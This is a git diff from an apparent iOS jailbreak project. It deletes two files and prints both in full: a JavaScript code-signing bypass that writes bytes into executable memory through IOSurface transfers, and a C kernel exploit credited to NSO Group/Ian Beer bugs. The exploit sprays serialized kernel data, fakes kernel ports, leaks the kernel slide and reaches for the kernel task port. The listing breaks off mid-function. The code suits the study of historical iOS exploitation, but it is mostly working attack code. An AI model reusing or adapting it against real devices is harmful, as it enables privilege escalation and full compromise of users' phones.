summaryrefslogtreecommitdiff
path: root/src/js
diff options
context:
space:
mode:
Diffstat (limited to 'src/js')
-rw-r--r--src/js/csbypass.js125
-rw-r--r--src/js/kexp/exploit.c895
-rwxr-xr-xsrc/js/kexp/exploit.js557
-rwxr-xr-xsrc/js/lib/myutils.js20
-rw-r--r--src/js/main.js155
-rw-r--r--src/js/primitives/call.js2
-rw-r--r--src/js/primitives/mem.js3
7 files changed, 76 insertions, 1681 deletions
diff --git a/src/js/csbypass.js b/src/js/csbypass.js
deleted file mode 100644
index f987e55..0000000
--- a/src/js/csbypass.js
+++ /dev/null
@@ -1,125 +0,0 @@
-var RTLD_NOW = 2;
-var PAGE_SIZE = 0x1000;
-
-var CFDictionaryCreateMutable_addr = 0x20809ae1;
-var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc;
-var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc;
-var CFDictionarySetValue_addr = 0x2080a791;
-var CFNumberCreate_addr = 0x2080bc79;
-var kCFNumberSInt32Type = 3;
-var kCFNumberSInt64Type = 4;
-var CFShow_addr = 0x208e897c | 1;
-
-var my_kIOSurfaceBytesPerRow;
-var my_kIOSurfaceWidth;
-var my_kIOSurfaceHeight;
-var my_kIOSurfacePixelFormat;
-var kCFAllocatorDefault;
-
-var kCFStringEncodingUTF8 = 0x08000100;
-
-function csbypass() {
- printf("hello from csbypass!\n");
- poc();
-}
-
-function memcpy_exec(dst, src, size) {
- var dict = NULL;
- var accel = malloc(4);
- var width = malloc(4);
- var height = malloc(4);
- var pitch = malloc(4);
- var pixel_format = malloc(8);
- write_u32(width, PAGE_SIZE / (16 * 4));
- write_u32(height, 16);
- write_u32(pitch, read_u32(width) * 4);
- write_u32(pixel_format, 0x42475241); // ARGB
- write_u32(pixel_format + 4, 0x0); // ARGB
- printf("%x %x\n", CFDictionarySetValue_addr + get_dyld_shc_slide(), dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue"));
- dict = CFDictionaryCreateMutable(0, 0, kCFTypeDictionaryKeyCallBacks_addr + get_dyld_shc_slide(), kCFTypeDictionaryValueCallBacks_addr + get_dyld_shc_slide());
- printf("dict: %p\n", dict);
- callnarg(CFShow_addr + get_dyld_shc_slide(), dict);
- CFDictionarySetValue(dict, read_u32(my_kIOSurfaceBytesPerRow), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pitch));
- CFDictionarySetValue(dict, read_u32(my_kIOSurfaceWidth), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, width));
- CFDictionarySetValue(dict, read_u32(my_kIOSurfaceHeight), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, height));
- CFDictionarySetValue(dict, read_u32(my_kIOSurfacePixelFormat), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt32Type, pixel_format));
- printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel));
- printf("you can kill me now\n");
-
- printf("yahtzee1\n");
-
- for (var i = 0; i < size; i += PAGE_SIZE) {
- var kr = 0;
- var target = shit_heap(4);
- var srcaddr = shit_heap(4);
- printf("yahtzee1\n");
- write_u32(target, dst + i);
- write_u32(srcaddr, src);
- printf("yahtzee1 %x %x\n", dst, src);
-
- printf("%x\n", CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8));
-
- CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, srcaddr));
- printf("yahtzee1\n");
- var src_surf = callnarg(my_IOSurfaceCreate, dict);
- printf("yahtzee1\n");
- mprotect(target, PAGE_SIZE, PROT_READ | PROT_WRITE);
- printf("yahtzee1\n");
- CFDictionarySetValue(dict, CFStringCreateWithCString(read_u32(kCFAllocatorDefault), "IOSurfaceAddress", kCFStringEncodingUTF8), CFNumberCreate(read_u32(kCFAllocatorDefault), kCFNumberSInt64Type, target));
- printf("yahtzee1\n");
- var dest_surf = callnarg(my_IOSurfaceCreate, dict);
- printf("yahtzee1\n");
- mprotect(target, PAGE_SIZE, PROT_READ | PROT_EXEC);
- printf("yahtzee1\n");
- mlock(target, PAGE_SIZE);
- printf("yahtzee1\n");
- kr = callnarg(my_IOSurfaceAcceleratorTransferSurface, accel, src_surf, dest_surf, 0, 0);
- printf("kr2=0x%08x\n", kr);
- printf("yahtzee1\n");
-}
-
- return dst;
-}
-
-function linkIOSurface() {
- h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
-
- my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
- my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
- my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
- my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
-
- scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat);
-
- my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
- my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
- my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
-
- CFDictionarySetValue_addr = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "CFDictionarySetValue") - get_dyld_shc_slide();
- kCFAllocatorDefault = dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), "kCFAllocatorDefault");
-
- scall("printf", "%x %x %x\n", my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface);
-}
-
-function poc() {
- linkIOSurface();
-
- var tmp = malloc(0x4000);
-// var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47];
- var start = [0x44, 0x43, 0x42, 0x41];
-
- for (var i = 0; i < start.length; i++) {
- write_u8(tmp + i, start[i]);
- }
-
- var finish = 0x10000;
-
- printf("%x\n", read_u32(0x10000));
- printf("yahtzee\n");
- memcpy_exec(finish, tmp, 0x1000);
- printf("%x\n", read_u32(0x10000));
-
- scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141);
-
-// var finish =
-} \ No newline at end of file
diff --git a/src/js/kexp/exploit.c b/src/js/kexp/exploit.c
deleted file mode 100644
index b33a74c..0000000
--- a/src/js/kexp/exploit.c
+++ /dev/null
@@ -1,895 +0,0 @@
-// Bugs by NSO Group / Ian Beer.
-// Exploit by Siguza & tihmstar.
-// Thanks also to Max Bazaliy.
-
-#include <stdint.h> // uint32_t, uint64_t
-#include <stdio.h> // fprintf, stderr
-#include <string.h> // memcpy, memset, strncmp
-#include <unistd.h> // getpid
-#include <mach/mach.h>
-#include <stdlib.h>
-
-#include <IOKit/IOKitLib.h>
-#include <IOKit/iokitmig.h>
-#include <assert.h>
-#include <sched.h>
-
-/*#include "nexploit.h"
-#include "offsetfinder.h"
-#include "thread.h"*/
-
-kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs);
-
-void suspend_all_threads() {
- thread_act_t other_thread, current_thread;
- unsigned int thread_count;
- thread_act_array_t thread_list;
-
- current_thread = mach_thread_self();
- int result = task_threads(mach_task_self(), &thread_list, &thread_count);
- if (result == -1) {
- exit(1);
- }
- if (!result && thread_count) {
- for (unsigned int i = 0; i < thread_count; ++i) {
- other_thread = thread_list[i];
- if (other_thread != current_thread) {
- int kr = thread_suspend(other_thread);
- if (kr != KERN_SUCCESS) {
- mach_error("thread_suspend:", kr);
- exit(1);
- }
- }
- }
- }
-}
-
-void resume_all_threads() {
- thread_act_t other_thread, current_thread;
- unsigned int thread_count;
- thread_act_array_t thread_list;
-
- current_thread = mach_thread_self();
- int result = task_threads(mach_task_self(), &thread_list, &thread_count);
- if (result == -1) {
- exit(1);
- }
- if (!result && thread_count) {
- for (unsigned int i = 0; i < thread_count; ++i) {
- other_thread = thread_list[i];
- if (other_thread != current_thread) {
- int kr = thread_resume(other_thread);
- if (kr != KERN_SUCCESS) {
- mach_error("thread_suspend:", kr);
- exit(1);
- }
- }
- }
- }
-}
-
-uint32_t find_kerneltask(){
- // A5:
- return 0x8041200c;
- // A6:
- // return 0x8041a00c;
-}
-
-uint32_t find_ipcspacekernel(){
- // A5:
- return 0x80456664;
- // A6:
- // return 0x8045e798;
-}
-
-#define SIZEOF_BYTES_MSG 384
-
-enum
-{
- kOSSerializeDictionary = 0x01000000U,
- kOSSerializeArray = 0x02000000U,
- kOSSerializeSet = 0x03000000U,
- kOSSerializeNumber = 0x04000000U,
- kOSSerializeSymbol = 0x08000000U,
- kOSSerializeString = 0x09000000U,
- kOSSerializeData = 0x0a000000U,
- kOSSerializeBoolean = 0x0b000000U,
- kOSSerializeObject = 0x0c000000U,
-
- kOSSerializeTypeMask = 0x7F000000U,
- kOSSerializeDataMask = 0x00FFFFFFU,
-
- kOSSerializeEndCollection = 0x80000000U,
-
- kOSSerializeMagic = 0x000000d3U,
-};
-
-uintptr_t kslide = 0;
-mach_port_t fakeportData;
-
-
-#define MIG_MAX 0x1000
-#define PUSH(v) \
-do \
-{ \
- if(idx >= MIG_MAX / sizeof(uint32_t)) \
- { \
- return KERN_NO_SPACE; \
- } \
- dict[idx] = (v); \
- ++idx; \
-} while(0)
-
-
-/*** XXX ***/
-// TODO: rework this to a lookup table/registry
-
-////#define KERNEL_TASK 0x8041200c //iPod5,1
-//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3
-//
-//// easiest to grab in convert_task_suspension_token_to_port
-////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1
-//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3
-
-#define TASK_BSDINFO_OFFSET 0x200
-#define BSDINFO_PID_OFFSET 0x8
-/*** XXX ***/
-
-
-static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port)
-{
- kern_return_t err, ret;
- static io_master_t master = MACH_PORT_NULL;
- if(master == MACH_PORT_NULL)
- {
- ret = host_get_io_master(mach_host_self(), &master);
- if(ret != KERN_SUCCESS)
- {
- return ret;
- }
- }
-
- if(size > SIZEOF_BYTES_MSG)
- {
- return KERN_NO_SPACE;
- }
-
- uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
- size_t idx = 0;
-
- PUSH(kOSSerializeMagic);
- PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
- PUSH(kOSSerializeSymbol | 4);
- PUSH(0x0079656b); // "key"
- PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
-
- for(size_t i = 0; i < num; ++i)
- {
- PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG);
- if(mem && size)
- {
- memcpy(&dict[idx], mem, size);
- }
- memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
- idx += SIZEOF_BYTES_MSG / 4;
- }
-
- ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port);
- if(ret == KERN_SUCCESS)
- {
- ret = err;
- }
- return ret;
-}
-
-
-#define msgh_request_port msgh_remote_port
-#define msgh_reply_port msgh_local_port
-
-static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
-{
-#pragma pack(4)
- typedef struct {
- mach_msg_header_t Head;
- mach_msg_body_t msgh_body;
- mach_msg_ool_ports_descriptor_t init_port_set;
- NDR_record_t NDR;
- mach_msg_type_number_t init_port_setCnt;
- } Request;
- typedef struct {
- mach_msg_header_t Head;
- NDR_record_t NDR;
- kern_return_t RetCode;
- mach_msg_trailer_t trailer;
- } Reply;
-#pragma pack()
-
- union {
- Request In;
- Reply Out;
- } Mess;
- Request *InP = &Mess.In;
- Reply *OutP = &Mess.Out;
-
- InP->msgh_body.msgh_descriptor_count = 1;
- InP->init_port_set.address = (void*)(init_port_set);
- InP->init_port_set.count = real_count;
- InP->init_port_set.disposition = 19;
- InP->init_port_set.deallocate = FALSE;
- InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
- InP->NDR = NDR_record;
- InP->init_port_setCnt = fake_count; // was real_count
- InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
- InP->Head.msgh_request_port = task;
- InP->Head.msgh_reply_port = mig_get_reply_port();
- InP->Head.msgh_id = 3403;
-
- kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if(ret == KERN_SUCCESS)
- {
- ret = OutP->RetCode;
- }
- return ret;
-}
-
-#if 0
-static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt)
-{
-
-#ifdef __MigPackStructs
-#pragma pack(4)
-#endif
- typedef struct {
- mach_msg_header_t Head;
- NDR_record_t NDR;
- mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
- mach_msg_type_number_t property_nameCnt;
- char property_name[128];
- mach_msg_type_number_t dataCnt;
- } Request __attribute__((unused));
-#ifdef __MigPackStructs
-#pragma pack()
-#endif
-
-#ifdef __MigPackStructs
-#pragma pack(4)
-#endif
- typedef struct {
- mach_msg_header_t Head;
- NDR_record_t NDR;
- kern_return_t RetCode;
- mach_msg_type_number_t dataCnt;
- char data[4096];
- mach_msg_trailer_t trailer;
- } Reply __attribute__((unused));
-#ifdef __MigPackStructs
-#pragma pack()
-#endif
-
-#ifdef __MigPackStructs
-#pragma pack(4)
-#endif
- typedef struct {
- mach_msg_header_t Head;
- NDR_record_t NDR;
- kern_return_t RetCode;
- mach_msg_type_number_t dataCnt;
- char data[4096];
- } __Reply __attribute__((unused));
-#ifdef __MigPackStructs
-#pragma pack()
-#endif
- /*
- * typedef struct {
- * mach_msg_header_t Head;
- * NDR_record_t NDR;
- * kern_return_t RetCode;
- * } mig_reply_error_t;
- */
-
- union {
- Request In;
- Reply Out;
- } Mess;
-
- Request *InP = &Mess.In;
- Reply *Out0P = &Mess.Out;
-
- mach_msg_return_t msg_result;
- unsigned int msgh_size;
- unsigned int msgh_size_delta;
-
-
-#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined
- kern_return_t check_result;
-#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */
-
- __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes")
-
- InP->NDR = NDR_record;
-
-#ifdef USING_MIG_STRNCPY_ZEROFILL
- if (mig_strncpy_zerofill != NULL) {
- InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128);
- } else {
-#endif /* USING_MIG_STRNCPY_ZEROFILL */
- InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128);
-#ifdef USING_MIG_STRNCPY_ZEROFILL
- }
-#endif /* USING_MIG_STRNCPY_ZEROFILL */
-
- msgh_size_delta = _WALIGN_(InP->property_nameCnt);
- msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta;
- InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
-
- if (*dataCnt < 4096)
- InP->dataCnt = *dataCnt;
- else
- InP->dataCnt = 4096;
-
- InP = &Mess.In;
- InP->Head.msgh_bits =
- MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
- /* msgh_size passed as argument */
- InP->Head.msgh_request_port = registry_entry;
- InP->Head.msgh_reply_port = mig_get_reply_port();
- InP->Head.msgh_id = 2812;
- InP->Head.msgh_reserved = 0;
-
-/* BEGIN VOUCHER CODE */
-
-#ifdef USING_VOUCHERS
- if (voucher_mach_msg_set != NULL) {
- voucher_mach_msg_set(&InP->Head);
- }
-#endif // USING_VOUCHERS
-
-/* END VOUCHER CODE */
-
- __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes")
- msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- __AfterSendRpc(2812, "io_registry_entry_get_property_bytes")
- if (msg_result != MACH_MSG_SUCCESS) {
- __MachMsgErrorWithoutTimeout(msg_result);
- { return msg_result; }
- }
-
-
-#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined)
- check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P);
- if (check_result != MACH_MSG_SUCCESS)
- { return check_result; }
-#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */
-
- if (Out0P->dataCnt > *dataCnt) {
- (void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt);
- *dataCnt = Out0P->dataCnt;
- { return MIG_ARRAY_TOO_LARGE; }
- }
- (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt);
-
- *dataCnt = Out0P->dataCnt;
-
- return KERN_SUCCESS;
-}
-#endif
-
-typedef struct __attribute__((__packed__)) {
- uint32_t ip_bits;
- uint32_t ip_references;
- struct __attribute__((__packed__)) {
- uint32_t data;
- uint32_t pad;
- uint32_t type;
- } ip_lock;
- struct __attribute__((__packed__)) {
- struct __attribute__((__packed__)) {
- struct __attribute__((__packed__)) {
- uint32_t flags;
- uintptr_t waitq_interlock;
- uint64_t waitq_set_id;
- uint64_t waitq_prepost_id;
- struct __attribute__((__packed__)) {
- uintptr_t next;
- uintptr_t prev;
- } waitq_queue;
- } waitq;
- uintptr_t messages;
- natural_t seqno;
- natural_t receiver_name;
- uint16_t msgcount;
- uint16_t qlimit;
- } port;
- uintptr_t imq_klist;
- } ip_messages;
- natural_t ip_flags;
- uintptr_t ip_receiver;
- uintptr_t ip_kobject;
- uintptr_t ip_nsrequest;
- uintptr_t ip_pdrequest;
- uintptr_t ip_requests;
- uintptr_t ip_premsg;
- uint64_t ip_context;
- natural_t ip_mscount;
- natural_t ip_srights;
- natural_t ip_sorights;
-} kport_t;
-
-#define LOG(str, args...) \
-do \
-{ \
- fprintf(stderr, str " [%u]\n", ##args, __LINE__); \
-} while(0)
-
-#define OUT_LABEL(label, code...) \
-do \
-{ \
- ret = (code); \
- if(ret != KERN_SUCCESS) \
- { \
- LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
- goto label; \
- } \
-} while(0)
-
-#define OUT(code...) OUT_LABEL(out, ##code)
-
-
-uint32_t copyinPort(kport_t *kport, int cnt){
-
- kern_return_t err, ret;
- task_t self = mach_task_self();
- io_service_t service = MACH_PORT_NULL;
- io_connect_t client = MACH_PORT_NULL;
- io_iterator_t it = MACH_PORT_NULL;
- io_object_t o = MACH_PORT_NULL;
-
- mach_port_t data;
- OUT(spray_data(NULL, 0, 5, &data));
-
- service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
- if(!MACH_PORT_VALID(service))
- {
- LOG("Invalid service");
- goto out;
- }
- char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
-
- kport_t *kpbuf = (kport_t*)(tst+4);
- for (int i=0; i<cnt; i++) {
- kpbuf[i] = kport[i];
- }
-
- const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
- OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client));
-
- OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
-
- bool found = false;
- while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
- {
- uintptr_t buf[16];
- uint32_t size = (uint32_t)sizeof(buf);
- ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
- if(ret == KERN_SUCCESS)
- {
- mach_port_deallocate(self, data);
- data = MACH_PORT_NULL;
- //OUT(spray_data(&kport, sizeof(kport), 16, &data));
- OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
-
- kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000;
- return (uint32_t)buf[4] - 0x78;
-
- /* BREAKPOINT HERE */
-
- found = true;
- }
- IOObjectRelease(o);
- o = MACH_PORT_NULL;
- }
-
-out:;
- if(it != MACH_PORT_NULL)
- {
- IOObjectRelease(it);
- it = MACH_PORT_NULL;
- }
- if(client != MACH_PORT_NULL)
- {
- IOObjectRelease(client);
- client = MACH_PORT_NULL;
- }
- if(service != MACH_PORT_NULL)
- {
- IOObjectRelease(service);
- service = MACH_PORT_NULL;
- }
- if(data != MACH_PORT_NULL)
- {
- mach_port_deallocate(self, data);
- data = MACH_PORT_NULL;
- }
- return 0;
-}
-
-#pragma pack(4)
-typedef struct {
- mach_msg_header_t Head;
- mach_msg_body_t msgh_body;
- mach_msg_ool_ports_descriptor_t init_port_set[];
-} Request;
-#pragma pack()
-
-void release_port_ptrs(mach_port_t port){
- char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)];
- if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS)
- printf("[!] Error mach_recv\n");
-}
-
-mach_port_t kp = 0;
-mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
- if (!kp) {
- mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
- mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
- }
-
- mach_port_t mp = 0;
-
- mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
- mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
-
- assert(0 == send_ports(mp, kp, 2, number_port_descs));
-
- return mp;
-}
-
-kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
-{
- mach_port_t init_port_set[num];
- for(size_t i = 0; i < num; ++i)
- {
- init_port_set[i] = payload;
- }
-
- typedef struct {
- mach_msg_header_t Head;
- mach_msg_body_t msgh_body;
- mach_msg_ool_ports_descriptor_t init_port_set[0];
- } Request;
-
- char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
- Request *InP = (Request*)buf;
- InP->msgh_body.msgh_descriptor_count = number_port_descs;
- for (int i = 0; i < number_port_descs; i++) {
- InP->init_port_set[i].address = (void *)(init_port_set);
- InP->init_port_set[i].count = num;
- InP->init_port_set[i].disposition = 19;
- InP->init_port_set[i].deallocate = FALSE;
- InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
- }
-
- InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
- /* msgh_size passed as argument */
- InP->Head.msgh_request_port = target;
- InP->Head.msgh_reply_port = 0;
- InP->Head.msgh_id = 1337;
-
- return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
-}
-
-uint32_t spray_data2(char *data, size_t datasize, unsigned count)
-{
- kern_return_t kr = 0, err = 0;
- mach_port_t master = MACH_PORT_NULL;
- io_service_t serv = 0;
- io_connect_t conn = 0;
-
-
- char dict[4096+512];
- uint32_t idx = 0; // index into our data
-
-#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
-
- WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
-
- WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries
-
- WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
- WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
-
- WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte
-
- for (int i=0; i<count; i++) {
- WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte
- memcpy((char*)dict+idx, data, datasize);
- idx += datasize;
- }
-
- host_get_io_master(mach_host_self(), &master); // get iokit master port
-
- serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity"));
-
- kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
- if (kr != KERN_SUCCESS)
- return printf("failed to spawn UC\n"),-1;
- return 0;
-}
-
-static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
-{
- size_t idx = 0;
-
- PUSH(kOSSerializeMagic);
- PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
- PUSH(kOSSerializeSymbol | 4);
- PUSH(0x0079656b); // "key"
- PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
-
- for(size_t i = 0; i < num; ++i)
- {
- PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8);
- PUSH(ptr);
- PUSH(ptr);
- }
-
- *size = idx * sizeof(uint32_t);
- return KERN_SUCCESS;
-}
-
-static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
-{
- kern_return_t err, ret;
- static io_master_t master = MACH_PORT_NULL;
- if(master == MACH_PORT_NULL)
- {
- ret = host_get_io_master(mach_host_self(), &master);
- if(ret != KERN_SUCCESS)
- {
- return ret;
- }
- }
-
- ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port);
- if(ret == KERN_SUCCESS)
- {
- ret = err;
- }
- return ret;
-}
-
-static mach_port_t sanity_port = MACH_PORT_NULL;
-static uintptr_t kernel_task_addr = 0;
-
-task_t get_kernel_task(void){
- kern_return_t ret;
-
- OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port));
- OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND));
- mach_port_limits_t limits = { .mpl_qlimit = 1000 };
- OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
-
- suspend_all_threads();
-
- printf("starting exploit\n");
-
- char data[16];
- kport_t kport[2] = {};
- uintptr_t *ptr = (uintptr_t*)(kport + 1);
- kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
- kport->ip_references = 100;
- kport->ip_lock.type = 0x11;
- kport->ip_messages.port.qlimit = 777;
- kport->ip_receiver = 0x12345678; // dummy
- kport->ip_srights = 99;
-
-
- void *big_buf = malloc(MIG_MAX),
- *small_buf = malloc(MIG_MAX);
- size_t big_size = 0,
- small_size = 0;
-
-
-#define PORTS_NUM 1024
-#define PORTS_NUM_PRESPRAY 100
- mach_port_t fp[PORTS_NUM];
- mach_port_t postSpray;
-
- usleep(10000);
- sched_yield();
- uint32_t kptr = copyinPort(kport,2);
-
- printf("0x%08x\n",kptr);
- *(uint32_t*)(data) = kptr;
- *(uint32_t*)(data+4) = kptr;
- OUT(prepare_ptr(big_buf, &big_size, kptr, 256));
- OUT(prepare_ptr(small_buf, &small_size, kptr, 32));
-
-again:
- sched_yield();
